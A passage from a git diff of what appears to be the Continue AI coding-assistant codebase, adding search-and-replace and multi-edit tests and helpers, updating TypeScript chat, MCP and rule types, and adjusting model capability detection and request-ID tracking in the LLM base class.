3, + strategyName: "exactMatch", + }); + expect(matches[999]).toEqual({ + startIndex: 7992, + endIndex: 7995, + strategyName: "exactMatch", + }); + }); + + it("should prevent infinite loops on edge cases", () => { + const content = "aaaa"; + const search = ""; + const matches = findSearchMatches(content, search); + + // Should only return one match for empty search + expect(matches).toHaveLength(1); + expect(matches[0]).toEqual({ + startIndex: 0, + endIndex: 0, + strategyName: "emptySearch", + }); + }); + }); + + describe("strategy selection", () => { + it("should use exact match strategy when possible", () => { + const content = "const foo = bar;"; + const search = "foo"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0].strategyName).toBe("exactMatch"); + }); + + it("should fallback to trimmed match when exact fails", () => { + const content = "const foo = bar;"; + const search = " foo "; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0].strategyName).toBe("trimmedMatch"); + }); + + it("should fallback to whitespace ignored when others fail", () => { + const content = "const foo = bar;"; + const search = "const foo=bar"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0].strategyName).toBe("whitespaceIgnoredMatch"); + }); + }); + + describe("complex patterns", () => { + it("should handle multiple matches with different line endings", () => { + const content = "foo\r\nbar\r\nfoo\nfoo"; + const search = "foo"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(3); + expect(matches[0].startIndex).toBe(0); + expect(matches[1].startIndex).toBe(10); + expect(matches[2].startIndex).toBe(14); + }); + + it("should handle matches across different strategies", () => { + const content = "const foo = 'bar';\n const foo='baz';"; + const search = "foo"; + const matches = findSearchMatches(content, search); + + // Both occurrences of "foo" should be found with exact match + expect(matches).toHaveLength(2); + expect(matches[0]).toEqual({ + startIndex: 6, + endIndex: 9, + strategyName: "exactMatch", + }); + expect(matches[1]).toEqual({ + startIndex: 29, + endIndex: 32, + strategyName: "exactMatch", + }); + }); + + it("should handle code with mixed indentation", () => { + const content = `\tfunction test() { + return true; +\t}`; + const search = "function test(){return true;}"; + const matches = findSearchMatches(content, search); + + expect(matches).toHaveLength(1); + expect(matches[0].strategyName).toBe("whitespaceIgnoredMatch"); + }); + }); +}); diff --git a/core/edit/searchAndReplace/multiEdit.vitest.ts b/core/edit/searchAndReplace/multiEdit.vitest.ts new file mode 100644 index 000000000..401a724ff --- /dev/null +++ b/core/edit/searchAndReplace/multiEdit.vitest.ts @@ -0,0 +1,341 @@ +import { describe, expect, it } from "vitest"; +import { EditOperation } from "../../tools/definitions/multiEdit"; +import { ContinueErrorReason } from "../../util/errors"; +import { validateMultiEdit } from "./multiEditValidation"; +import { executeMultiFindAndReplace } from "./performReplace"; + +describe("multiEdit shared validation", () => { + describe("validateMultiEdit", () => { + it("should throw error if edits is not an array", () => { + expect(() => validateMultiEdit({ edits: "not an array" })).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.MultiEditEditsArrayRequired, + }), + ); + }); + + it("should throw error if edits is missing", () => { + expect(() => validateMultiEdit({})).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.MultiEditEditsArrayRequired, + }), + ); + }); + + it("should throw error if edits array is empty", () => { + expect(() => validateMultiEdit({ edits: [] })).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.MultiEditEditsArrayEmpty, + }), + ); + }); + + it("should return valid edits", () => { + const edits: EditOperation[] = [ + { old_string: "hello", new_string: "world" }, + ]; + const result = validateMultiEdit({ edits }); + expect(result.edits).toEqual(edits); + }); + }); + + describe("validateMultiEdit - individual edit validation", () => { + it("should throw error if edit has missing old_string", () => { + const args = { + edits: [ + { + old_string: undefined as any, + new_string: "Hi there", + }, + ], + }; + + expect(() => validateMultiEdit(args)).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMissingOldString, + }), + ); + }); + + it("should throw error if edit has missing new_string", () => { + const args = { + edits: [ + { + old_string: "Hello world", + new_string: undefined as any, + }, + ], + }; + + expect(() => validateMultiEdit(args)).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMissingNewString, + }), + ); + }); + + it("should throw error if old_string and new_string are the same", () => { + const args = { + edits: [ + { + old_string: "Hello world", + new_string: "Hello world", + }, + ], + }; + + expect(() => validateMultiEdit(args)).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceIdenticalOldAndNewStrings, + }), + ); + }); + + it("should throw error if non-first edit has empty old_string", () => { + const args = { + edits: [ + { + old_string: "Hello world", + new_string: "Hi there", + }, + { + old_string: "", + new_string: "Invalid insertion", + }, + ], + }; + + expect(() => validateMultiEdit(args)).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceNonFirstEmptyOldString, + }), + ); + }); + + it("should allow first edit to have empty old_string", () => { + const args = { + edits: [ + { + old_string: "", + new_string: "New content", + }, + ], + }; + + expect(() => validateMultiEdit(args)).not.toThrow(); + }); + }); + + describe("executeMultiFindAndReplace", () => { + const originalContent = "Hello world\nThis is a test file\nGoodbye world"; + + it("should handle single edit", () => { + const edits = [ + { + old_string: "Hello world", + new_string: "Hi there", + }, + ]; + + const result = executeMultiFindAndReplace(originalContent, edits); + expect(result).toBe("Hi there\nThis is a test file\nGoodbye world"); + }); + + it("should handle multiple edits", () => { + const edits = [ + { + old_string: "Hello world", + new_string: "Hi there", + }, + { + old_string: "Goodbye world", + new_string: "See you later", + }, + ]; + + const result = executeMultiFindAndReplace(originalContent, edits); + expect(result).toBe("Hi there\nThis is a test file\nSee you later"); + }); + + it("should handle replace_all", () => { + const edits = [ + { + old_string: "world", + new_string: "universe", + replace_all: true, + }, + ]; + + const result = executeMultiFindAndReplace(originalContent, edits); + expect(result).toBe( + "Hello universe\nThis is a test file\nGoodbye universe", + ); + }); + + it("should handle empty old_string as insertion at beginning", () => { + const edits = [ + { + old_string: "", + new_string: "New first line\n", + }, + ]; + + const result = executeMultiFindAndReplace(originalContent, edits); + expect(result).toBe( + "New first line\nHello world\nThis is a test file\nGoodbye world", + ); + }); + + it("should handle empty string in empty file", () => { + const edits = [ + { + old_string: "", + new_string: "Content for empty file", + }, + ]; + + // Empty old_string matches at position 0 (beginning of file) + const result = executeMultiFindAndReplace("", edits); + expect(result).toBe("Content for empty file"); + }); + + it("should apply edits sequentially", () => { + const edits = [ + { + old_string: "Hello world", + new_string: "Hi universe", + }, + { + old_string: "Hi universe", + new_string: "Greetings cosmos", + }, + ]; + + const result = executeMultiFindAndReplace(originalContent, edits); + expect(result).toBe( + "Greetings cosmos\nThis is a test file\nGoodbye world", + ); + }); + + it("should throw error if old_string is not found", () => { + const edits = [ + { + old_string: "Not found", + new_string: "Hi there", + }, + ]; + + expect(() => + executeMultiFindAndReplace(originalContent, edits), + ).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceOldStringNotFound, + }), + ); + }); + + it("should throw error if old_string appears multiple times and replace_all is false", () => { + const edits = [ + { + old_string: "world", + new_string: "universe", + replace_all: false, + }, + ]; + + expect(() => + executeMultiFindAndReplace(originalContent, edits), + ).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceMultipleOccurrences, + }), + ); + }); + + it("should throw if string not found in edit sequence", () => { + const content = "Hello world"; + const edits = [ + { old_string: "Hello", new_string: "Hi" }, + { old_string: "not found", new_string: "test" }, + ]; + + expect(() => executeMultiFindAndReplace(content, edits)).toThrowError( + expect.objectContaining({ + reason: ContinueErrorReason.FindAndReplaceOldStringNotFound, + }), + ); + }); + + it("should handle whitespace differences using findSearchMatch", () => { + const content = "function test() {\n return true;\n}"; + const edits = [ + { + old_string: "function test(){return true;}", + new_string: "function test() { return false; }", + }, + ]; + + const result = executeMultiFindAndReplace(content, edits); + expect(result).toBe("function test() { return false; }"); + }); + + it("should handle mixed replace_all settings", () => { + const content = "x y x z x"; + const edits = [ + { old_string: "x", new_string: "a", replace_all: true }, + { old_string: "y", new_string: "b" }, + ]; + + const result = executeMultiFindAndReplace(content, edits); + expect(result).toBe("a b a z a"); + }); + }); + + describe("preprocessing logic", () => { + const originalContent = "Hello world\nThis is a test file\nGoodbye world"; + + it("should handle single edit preprocessing", () => { + const edits = [ + { + old_string: "Hello world", + new_string: "Hi there", + }, + ]; + + const newContent = executeMultiFindAndReplace(originalContent, edits); + + expect(newContent).toBe("Hi there\nThis is a test file\nGoodbye world"); + }); + + it("should handle multiple edits preprocessing", () => { + const edits = [ + { + old_string: "Hello world", + new_string: "Hi there", + }, + { + old_string: "Goodbye world", + new_string: "See you later", + }, + ]; + + const newContent = executeMultiFindAndReplace(originalContent, edits); + + expect(newContent).toBe("Hi there\nThis is a test file\nSee you later"); + }); + + it("should count edits correctly", () => { + const edits = [ + { old_string: "Hello", new_string: "Hi" }, + { old_string: "world", new_string: "universe", replace_all: true }, + ]; + + const newContent = executeMultiFindAndReplace(originalContent, edits); + + expect(newContent).toBe( + "Hi universe\nThis is a test file\nGoodbye universe", + ); + expect(edits.length).toBe(2); + }); + }); +}); diff --git a/core/edit/searchAndReplace/multiEditValidation.ts b/core/edit/searchAndReplace/multiEditValidation.ts new file mode 100644 index 000000000..3600eeebc --- /dev/null +++ b/core/edit/searchAndReplace/multiEditValidation.ts @@ -0,0 +1,54 @@ +import { EditOperation } from "../../tools/definitions/multiEdit"; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; +import { validateSingleEdit } from "./findAndReplaceUtils"; + +/** + * Validates multi-edit arguments and all edits in a single pass + * @param args - The arguments object containing the edits array + * @returns Validated edits array + * @throws ContinueError if validation fails + */ +export function validateMultiEdit(args: unknown): { + edits: EditOperation[]; +} { + if (typeof args !== "object" || !args || !("edits" in args)) { + throw new ContinueError( + ContinueErrorReason.MultiEditEditsArrayRequired, + "invalid multi-edit args", + ); + } + + // Validate that edits is a non-empty array + if (!Array.isArray(args.edits)) { + throw new ContinueError( + ContinueErrorReason.MultiEditEditsArrayRequired, + "edits array is required", + ); + } + const { edits } = args; + + if (edits.length === 0) { + throw new ContinueError( + ContinueErrorReason.MultiEditEditsArrayEmpty, + "edits array must contain at least one edit", + ); + } + + // Validate each individual edit + for (let i = 0; i < edits.length; i++) { + const edit = edits[i]; + + // Use existing single edit validation + validateSingleEdit(edit.old_string, edit.new_string, edit.replace_all, i); + + // Only the first edit can have empty old_string (for insertion at beginning) + if (i > 0 && edit.old_string === "") { + throw new ContinueError( + ContinueErrorReason.FindAndReplaceNonFirstEmptyOldString, + `Edit at index ${i}: old_string cannot be empty. Only the first edit can have an empty old_string for insertion at the beginning of the file.`, + ); + } + } + + return { edits }; +} diff --git a/core/edit/searchAndReplace/performReplace.ts b/core/edit/searchAndReplace/performReplace.ts new file mode 100644 index 000000000..65453e06c --- /dev/null +++ b/core/edit/searchAndReplace/performReplace.ts @@ -0,0 +1,70 @@ +import { EditOperation } from "../../tools/definitions/multiEdit"; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; +import { findSearchMatches } from "./findSearchMatch"; + +export function executeFindAndReplace( + fileContent: string, + oldString: string, + newString: string, + replaceAll: boolean, + editIndex = 0, +): string { + const matches = findSearchMatches(fileContent, oldString); + + if (matches.length === 0) { + throw new ContinueError( + ContinueErrorReason.FindAndReplaceOldStringNotFound, + `Edit at index ${editIndex}: string not found in file: "${oldString}"`, + ); + } + + if (replaceAll) { + // Apply replacements in reverse order to maintain correct positions + let result = fileContent; + for (let i = matches.length - 1; i >= 0; i--) { + const match = matches[i]; + result = + result.substring(0, match.startIndex) + + newString + + result.substring(match.endIndex); + } + return result; + } else { + // For single replacement, check for multiple matches first + if (matches.length > 1) { + throw new ContinueError( + ContinueErrorReason.FindAndReplaceMultipleOccurrences, + `Edit at index ${editIndex}: String "${oldString}" appears ${matches.length} times in the file. Either provide a more specific string with surrounding context to make it unique, or use replace_all=true to replace all occurrences.`, + ); + } + + // Apply single replacement + const match = matches[0]; + return ( + fileContent.substring(0, match.startIndex) + + newString + + fileContent.substring(match.endIndex) + ); + } +} + +export function executeMultiFindAndReplace( + fileContent: string, + edits: EditOperation[], +): string { + let result = fileContent; + + // Apply edits in sequence + for (let editIndex = 0; editIndex < edits.length; editIndex++) { + const edit = edits[editIndex]; + result = executeFindAndReplace( + result, + edit.old_string, + edit.new_string, + edit.replace_all ?? false, + editIndex, + ); + } + + return result; +} diff --git a/core/edit/searchAndReplace/validateArgs.ts b/core/edit/searchAndReplace/validateArgs.ts new file mode 100644 index 000000000..623503515 --- /dev/null +++ b/core/edit/searchAndReplace/validateArgs.ts @@ -0,0 +1,23 @@ +import { IDE } from "../.."; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; +import { resolveRelativePathInDir } from "../../util/ideUtils"; + +export async function validateSearchAndReplaceFilepath( + filepath: unknown, + ide: IDE, +) { + if (!filepath || typeof filepath !== "string") { + throw new ContinueError( + ContinueErrorReason.FindAndReplaceMissingFilepath, + "filepath (string) is required", + ); + } + const resolvedFilepath = await resolveRelativePathInDir(filepath, ide); + if (!resolvedFilepath) { + throw new ContinueError( + ContinueErrorReason.FileNotFound, + `File ${filepath} does not exist`, + ); + } + return resolvedFilepath; +} diff --git a/core/index.d.ts b/core/index.d.ts index 584ef8990..de08c1ea1 100644 --- a/core/index.d.ts +++ b/core/index.d.ts @@ -99,6 +99,8 @@ export interface ILLM autocompleteOptions?: Partial; + lastRequestId?: string; + complete( prompt: string, signal: AbortSignal, @@ -310,11 +312,6 @@ export interface FileEdit { replacement: string; } -export interface ContinueError { - title: string; - message: string; -} - export interface CompletionOptions extends BaseCompletionOptions { model: string; } @@ -362,11 +359,15 @@ export interface ToolResultChatMessage { role: "tool"; content: string; toolCallId: string; + /** Arbitrary per-message metadata (IDs, provider-specific info, etc.) */ + metadata?: Record; } export interface UserChatMessage { role: "user"; content: MessageContent; + /** Arbitrary per-message metadata (IDs, provider-specific info, etc.) */ + metadata?: Record; } export interface ThinkingChatMessage { @@ -375,6 +376,12 @@ export interface ThinkingChatMessage { signature?: string; redactedThinking?: string; toolCalls?: ToolCallDelta[]; + reasoning_details?: { + signature?: string; + [key: string]: any; + }[]; + /** Arbitrary per-message metadata (IDs, provider-specific info, etc.) */ + metadata?: Record; } /** @@ -403,11 +410,15 @@ export interface AssistantChatMessage { content: MessageContent; toolCalls?: ToolCallDelta[]; usage?: Usage; + /** Arbitrary per-message metadata (IDs, provider-specific info, etc.) */ + metadata?: Record; } export interface SystemChatMessage { role: "system"; content: string; + /** Arbitrary per-message metadata (IDs, provider-specific info, etc.) */ + metadata?: Record; } export type ChatMessage = @@ -465,7 +476,7 @@ export interface PromptLog { completion: string; } -export type MessageModes = "chat" | "agent" | "plan"; +export type MessageModes = "chat" | "agent" | "plan" | "background"; export type ToolStatus = | "generating" // Tool call arguments are being streamed from the LLM @@ -481,6 +492,7 @@ interface ToolCallState { toolCall: ToolCall; status: ToolStatus; parsedArgs: any; + processedArgs?: Record; // Added in preprocesing step output?: ContextItem[]; tool?: Tool; } @@ -501,7 +513,7 @@ export interface ChatHistoryItem { toolCallStates?: ToolCallState[]; isGatheringContext?: boolean; reasoning?: Reasoning; - appliedRules?: RuleWithSource[]; + appliedRules?: RuleMetadata[]; conversationSummary?: string; } @@ -824,6 +836,8 @@ export interface IDE { openUrl(url: string): Promise; + getExternalUri?(uri: string): Promise; + runCommand(command: string, options?: TerminalOptions): Promise; saveFile(fileUri: string): Promise; @@ -921,7 +935,8 @@ export interface SlashCommand extends SlashCommandDescription { export interface SlashCommandWithSource extends SlashCommandDescription { run?: (sdk: ContinueSDK) => AsyncGenerator; // Optional - only needed for legacy source: SlashCommandSource; - promptFile?: string; + sourceFile?: string; + slug?: string; overrideSystemMessage?: string; } @@ -939,7 +954,8 @@ export type SlashCommandSource = export interface SlashCommandDescWithSource extends SlashCommandDescription { isLegacy: boolean; // Maps to if slashcommand.run exists source: SlashCommandSource; - promptFile?: string; + sourceFile?: string; + slug?: string; mcpServerName?: string; mcpArgs?: MCPPromptArgs; } @@ -1083,7 +1099,6 @@ export interface Tool { parameters?: Record; strict?: boolean | null; }; - displayTitle: string; wouldLikeTo?: string; isCurrently?: string; @@ -1100,9 +1115,16 @@ export interface Tool { }; defaultToolPolicy?: ToolPolicy; toolCallIcon?: string; + preprocessArgs?: ( + args: Record, + extras: { + ide: IDE; + }, + ) => Promise>; evaluateToolCallPolicy?: ( basePolicy: ToolPolicy, parsedArgs: Record, + processedArgs?: Record, ) => ToolPolicy; } @@ -1249,7 +1271,6 @@ export interface StdioOptions { args: string[]; env?: Record; cwd?: string; - requestOptions?: RequestOptions; } export interface WebSocketOptions { @@ -1276,16 +1297,8 @@ export type TransportOptions = | SSEOptions | StreamableHTTPOptions; -export interface MCPOptions { - name: string; - id: string; - transport: TransportOptions; - faviconUrl?: string; - timeout?: number; - requestOptions?: RequestOptions; -} - export type MCPConnectionStatus = + | "disabled" | "connecting" | "connected" | "error" @@ -1332,18 +1345,57 @@ export interface MCPTool { }; } -export interface MCPServerStatus extends MCPOptions { +type BaseInternalMCPOptions = { + id: string; + name: string; + faviconUrl?: string; + timeout?: number; + requestOptions?: RequestOptions; + sourceFile?: string; +}; + +export type InternalStdioMcpOptions = BaseInternalMCPOptions & { + type?: "stdio"; + command: string; + args?: string[]; + env?: Record; + cwd?: string; +}; + +export type InternalStreamableHttpMcpOptions = BaseInternalMCPOptions & { + type?: "streamable-http"; + url: string; + apiKey?: string; +}; + +export type InternalSseMcpOptions = BaseInternalMCPOptions & { + type?: "sse"; + url: string; + apiKey?: string; +}; + +export type InternalWebsocketMcpOptions = BaseInternalMCPOptions & { + type: "websocket"; // websocket requires explicit type + url: string; +}; + +export type InternalMcpOptions = + | InternalStdioMcpOptions + | InternalStreamableHttpMcpOptions + | InternalSseMcpOptions + | InternalWebsocketMcpOptions; + +export type MCPServerStatus = InternalMcpOptions & { status: MCPConnectionStatus; errors: string[]; infos: string[]; isProtectedResource: boolean; - prompts: MCPPrompt[]; tools: MCPTool[]; resources: MCPResource[]; resourceTemplates: MCPResourceTemplate[]; sourceFile?: string; -} +}; export interface ContinueUIConfig { codeBlockToolbarPosition?: "top" | "bottom"; @@ -1352,7 +1404,6 @@ export interface ContinueUIConfig { showChatScrollbar?: boolean; codeWrap?: boolean; showSessionTabs?: boolean; - autoAcceptEditToolDiffs?: boolean; continueAfterToolRejection?: boolean; } @@ -1752,7 +1803,7 @@ export interface BrowserSerializedContinueConfig { experimental?: ExperimentalConfig; analytics?: AnalyticsConfig; docs?: SiteIndexingConfig[]; - tools: Tool[]; + tools: Omit[]; mcpServerStatuses: MCPServerStatus[]; rules: RuleWithSource[]; usePlatform: boolean; @@ -1814,20 +1865,24 @@ export type RuleSource = | "rules-block" | "colocated-markdown" | "json-systemMessage" - | ".continuerules"; + | ".continuerules" + | "agentFile"; -export interface RuleWithSource { +export interface RuleMetadata { name?: string; slug?: string; source: RuleSource; globs?: string | string[]; regex?: string | string[]; - rule: string; description?: string; - ruleFile?: string; + sourceFile?: string; alwaysApply?: boolean; invokable?: boolean; } +export interface RuleWithSource extends RuleMetadata { + rule: string; +} + export interface CompleteOnboardingPayload { mode: OnboardingModes; provider?: string; @@ -1840,6 +1895,16 @@ export interface CompiledMessagesResult { contextPercentage: number; } +export interface AddToChatPayload { + data: AddToChatPayloadItem[]; +} + +interface AddToChatPayloadItem { + type: "file" | "folder"; + fullPath: string; + name: string; +} + export interface MessageOption { precompiled: boolean; } diff --git a/core/indexing/README.md b/core/indexing/README.md index 94bf196aa..eaf137167 100644 --- a/core/indexing/README.md +++ b/core/indexing/README.md @@ -20,7 +20,7 @@ The indexing process does the following: All indexes must be returned by `getIndexesToBuild` in [`CodebaseIndexer.ts`](./CodebaseIndexer.ts) if they are to be used. -`CodeSnippetsIndex`: uses tree-sitter queries to get a list of functions, classes, and other top-level code objects in each file +`CodeSnippetsCodebaseIndex`: uses tree-sitter queries to get a list of functions, classes, and other top-level code objects in each file `FullTextSearchCodebaseIndex`: creates a full-text search index using SQLite FTS5 `ChunkCodebaseIndex`: chunks files recursively by code structure, for use in other embeddings providers like `LanceDbIndex` `LanceDbIndex`: calculates embeddings for each chunk and adds them to the LanceDB vector database, with metadata going into SQLite. Note that for each branch, a unique table is created in LanceDB. diff --git a/core/indexing/docs/crawlers/DocsCrawler.test.ts b/core/indexing/docs/crawlers/DocsCrawler.test.ts index 3ea442fbe..40b424c3c 100644 --- a/core/indexing/docs/crawlers/DocsCrawler.test.ts +++ b/core/indexing/docs/crawlers/DocsCrawler.test.ts @@ -19,7 +19,7 @@ const TIMEOUT_MS = 1_000_000_000; // so that we don't delete the Chromium install between tests ChromiumInstaller.PCR_CONFIG = { downloadPath: os.tmpdir() }; -describe("DocsCrawler", () => { +describe.skip("DocsCrawler", () => { let config: ContinueConfig; let mockIde: FileSystemIde; let chromiumInstaller: ChromiumInstaller; diff --git a/core/indexing/ignore.ts b/core/indexing/ignore.ts index 2b231a5b1..96b08f6e1 100644 --- a/core/indexing/ignore.ts +++ b/core/indexing/ignore.ts @@ -2,6 +2,7 @@ import ignore from "ignore"; import path from "path"; import { fileURLToPath } from "url"; +import { ContinueError, ContinueErrorReason } from "../util/errors"; // Security-focused ignore patterns - these should always be excluded for security reasons export const DEFAULT_SECURITY_IGNORE_FILETYPES = [ @@ -259,7 +260,8 @@ export function isSecurityConcern(filePathOrUri: string) { export function throwIfFileIsSecurityConcern(filepath: string) { if (isSecurityConcern(filepath)) { - throw new Error( + throw new ContinueError( + ContinueErrorReason.FileIsSecurityConcern, `Reading or Editing ${filepath} is not allowed because it is a security concern. Do not attempt to read or edit this file in any way.`, ); } diff --git a/core/llm/autodetect.ts b/core/llm/autodetect.ts index 2ccc325cf..a2e13a75d 100644 --- a/core/llm/autodetect.ts +++ b/core/llm/autodetect.ts @@ -63,6 +63,47 @@ const PROVIDER_HANDLES_TEMPLATING: string[] = [ "watsonx", "nebius", "relace", + "openrouter", + "deepseek", + "xAI", + "groq", + "gemini", + "docker", + // TODO add these, change to inverted logic so only the ones that need templating are hardcoded + // Asksage.ts + // Azure.ts + // BedrockImport.ts + // Cerebras.ts + // Cloudflare.ts + // CometAPI.ts + // CustomLLM.ts + // DeepInfra.ts + // Fireworks.ts + // Flowise.ts + // FunctionNetwork.ts + // HuggingFaceInferenceAPI.ts + // HuggingFaceTEI.ts + // HuggingFaceTGI.ts + // Inception.ts + // Kindo.ts + // LlamaCpp.ts + // LlamaStack.ts + // Llamafile.ts + // Mock.ts + // Moonshot.ts + // NCompass.ts + // OVHcloud.ts + // Replicate.ts + // Scaleway.ts + // SiliconFlow.ts + // TARS.ts + // Test.ts + // TextGenWebUI.ts + // TransformersJsEmbeddingsProvider.ts + // Venice.ts + // Vllm.ts + // Voyage.ts + // etc ]; const PROVIDER_SUPPORTS_IMAGES: string[] = [ @@ -105,6 +146,8 @@ const MODEL_SUPPORTS_IMAGES: RegExp[] = [ /\bgemma-?3(?!n)/, // gemma3 supports vision, but gemma3n doesn't! /\b(pali|med)gemma/, /qwen(.*)vl/, + /mistral-small/, + /mistral-medium/, ]; function modelSupportsImages( @@ -142,16 +185,26 @@ function modelSupportsReasoning( if (!model) { return false; } - if ("anthropic" === model.underlyingProviderName) { + if (model.completionOptions?.reasoning !== undefined) { + // Reasoning support is forced at the config level. Model might not necessarily support it though! + return model.completionOptions.reasoning; + } + // Seems our current way of disabling reasoning is not working for grok code so results in useless lightbulb + // if (model.model.includes("grok-code")) { + // return true; + // } + // do not turn reasoning on by default for claude 3 models + if ( + model.model.includes("claude") && + !model.model.includes("-3-") && + !model.model.includes("-3.5-") + ) { return true; } if (model.model.includes("deepseek-r")) { return true; } - if (model.completionOptions?.reasoning) { - // Reasoning support is forced at the config level. Model might not necessarily support it though! - return true; - } + return false; } diff --git a/core/llm/constants.ts b/core/llm/constants.ts index c368e0d5a..2c59579dd 100644 --- a/core/llm/constants.ts +++ b/core/llm/constants.ts @@ -2,6 +2,7 @@ const DEFAULT_MAX_TOKENS = 4096; const DEFAULT_CONTEXT_LENGTH = 32_768; const DEFAULT_TEMPERATURE = 0.5; const DEFAULT_PRUNING_LENGTH = 128000; +const DEFAULT_REASONING_TOKENS = 2048; const DEFAULT_ARGS = { maxTokens: DEFAULT_MAX_TOKENS, @@ -31,5 +32,6 @@ export { DEFAULT_MAX_CHUNK_SIZE, DEFAULT_MAX_TOKENS, DEFAULT_PRUNING_LENGTH, + DEFAULT_REASONING_TOKENS, PROXY_URL, }; diff --git a/core/llm/defaultSystemMessages.ts b/core/llm/defaultSystemMessages.ts index 43ab7990e..430a6777d 100644 --- a/core/llm/defaultSystemMessages.ts +++ b/core/llm/defaultSystemMessages.ts @@ -63,7 +63,7 @@ export const DEFAULT_AGENT_SYSTEM_MESSAGE = `\ You are in agent mode. - If you need to use multiple tools, you can call multiple read only tools simultaneously. + If you need to use multiple tools, you can call multiple read-only tools simultaneously. ${CODEBLOCK_FORMATTING_INSTRUCTIONS} diff --git a/core/llm/index.ts b/core/llm/index.ts index 751a537ea..ceea1153d 100644 --- a/core/llm/index.ts +++ b/core/llm/index.ts @@ -65,7 +65,6 @@ import { toCompleteBody, toFimBody, } from "./openaiTypeConverters.js"; - export class LLMError extends Error { constructor( message: string, @@ -88,6 +87,9 @@ type InteractionStatus = "in_progress" | "success" | "error" | "cancelled"; export abstract class BaseLLM implements ILLM { static providerName: string; static defaultOptions: Partial | undefined = undefined; + // Provider capabilities (overridable by subclasses) + protected supportsReasoningField: boolean = false; + protected supportsReasoningDetailsField: boolean = false; get providerName(): string { return (this.constructor as typeof BaseLLM).providerName; @@ -194,12 +196,15 @@ export abstract class BaseLLM implements ILLM { isFromAutoDetect?: boolean; + lastRequestId: string | undefined; + private _llmOptions: LLMOptions; protected openaiAdapter?: BaseLlmApi; constructor(_options: LLMOptions) { this._llmOptions = _options; + this.lastRequestId = undefined; // Set default options const options = { @@ -214,7 +219,7 @@ export abstract class BaseLLM implements ILLM { this.providerName === "continue-proxy" ? this.model?.split("/").pop() || this.model : this.model; - const llmInfo = findLlmInfo(modelSearchString); + const llmInfo = findLlmInfo(modelSearchString, this.underlyingProviderName); const templateType = options.template ?? autodetectTemplateType(options.model); @@ -558,12 +563,14 @@ export abstract class BaseLLM implements ILLM { private _formatChatMessage(msg: ChatMessage): string { let contentToShow = renderChatMessage(msg); if (msg.role === "assistant" && msg.toolCalls?.length) { - contentToShow += msg.toolCalls - ?.map( - (toolCall) => - `${toolCall.function?.name}(${toolCall.function?.arguments})`, - ) - .join("\n"); + contentToShow += + "\n" + + msg.toolCalls + ?.map( + (toolCall) => + `${toolCall.function?.name}(${toolCall.function?.arguments})`, + ) + .join("\n"); } return `<${msg.role}>\n${contentToShow}\n\n`; @@ -593,6 +600,7 @@ export abstract class BaseLLM implements ILLM { signal: AbortSignal, options: LLMFullCompletionOptions = {}, ): AsyncGenerator { + this.lastRequestId = undefined; const { completionOptions, logEnabled } = this._parseCompletionOptions(options); const interaction = logEnabled @@ -622,6 +630,9 @@ export abstract class BaseLLM implements ILLM { signal, ); for await (const chunk of stream) { + if (!this.lastRequestId && typeof (chunk as any).id === "string") { + this.lastRequestId = (chunk as any).id; + } const result = fromChatCompletionChunk(chunk); if (result) { const content = renderChatMessage(result); @@ -705,6 +716,7 @@ export abstract class BaseLLM implements ILLM { signal: AbortSignal, options: LLMFullCompletionOptions = {}, ) { + this.lastRequestId = undefined; const { completionOptions, logEnabled, raw } = this._parseCompletionOptions(options); const interaction = logEnabled @@ -744,6 +756,7 @@ export abstract class BaseLLM implements ILLM { { ...toCompleteBody(prompt, completionOptions), stream: false }, signal, ); + this.lastRequestId = response.id ?? this.lastRequestId; completion = response.choices[0]?.text ?? ""; yield completion; } else { @@ -755,6 +768,9 @@ export abstract class BaseLLM implements ILLM { }, signal, )) { + if (!this.lastRequestId && typeof (chunk as any).id === "string") { + this.lastRequestId = (chunk as any).id; + } const content = chunk.choices[0]?.text ?? ""; completion += content; interaction?.logItem({ @@ -834,6 +850,7 @@ export abstract class BaseLLM implements ILLM { signal: AbortSignal, options: LLMFullCompletionOptions = {}, ) { + this.lastRequestId = undefined; const { completionOptions, logEnabled, raw } = this._parseCompletionOptions(options); const interaction = logEnabled @@ -875,6 +892,7 @@ export abstract class BaseLLM implements ILLM { }, signal, ); + this.lastRequestId = result.id ?? this.lastRequestId; completion = result.choices[0].text; } else { completion = await this._complete(prompt, signal, completionOptions); @@ -978,12 +996,121 @@ export abstract class BaseLLM implements ILLM { return completionOptions; } + // Update the processChatChunk method: + private processChatChunk( + chunk: ChatMessage, + interaction: ILLMInteractionLog | undefined, + ): { + completion: string[]; + thinking: string[]; + usage: Usage | null; + chunk: ChatMessage; + } { + const completion: string[] = []; + const thinking: string[] = []; + let usage: Usage | null = null; + + if (chunk.role === "assistant") { + completion.push(this._formatChatMessage(chunk)); + } else if (chunk.role === "thinking" && typeof chunk.content === "string") { + thinking.push(chunk.content); + } + + interaction?.logItem({ + kind: "message", + message: chunk, + }); + + if (chunk.role === "assistant" && chunk.usage) { + usage = chunk.usage; + } + + return { + completion, + thinking, + usage, + chunk, + }; + } + + private canUseOpenAIResponses(options: CompletionOptions): boolean { + return ( + this.providerName === "openai" && + typeof (this as any)._streamResponses === "function" && + (this as any).isOSeriesOrGpt5Model(options.model) + ); + } + + private async *openAIAdapterStream( + body: ChatCompletionCreateParams, + signal: AbortSignal, + onCitations: (c: string[]) => void, + ): AsyncGenerator { + const stream = this.openaiAdapter!.chatCompletionStream( + { ...body, stream: true }, + signal, + ); + for await (const chunk of stream) { + if (!this.lastRequestId && typeof (chunk as any).id === "string") { + this.lastRequestId = (chunk as any).id; + } + const chatChunk = fromChatCompletionChunk(chunk as any); + if (chatChunk) { + yield chatChunk; + } + if ((chunk as any).citations && Array.isArray((chunk as any).citations)) { + onCitations((chunk as 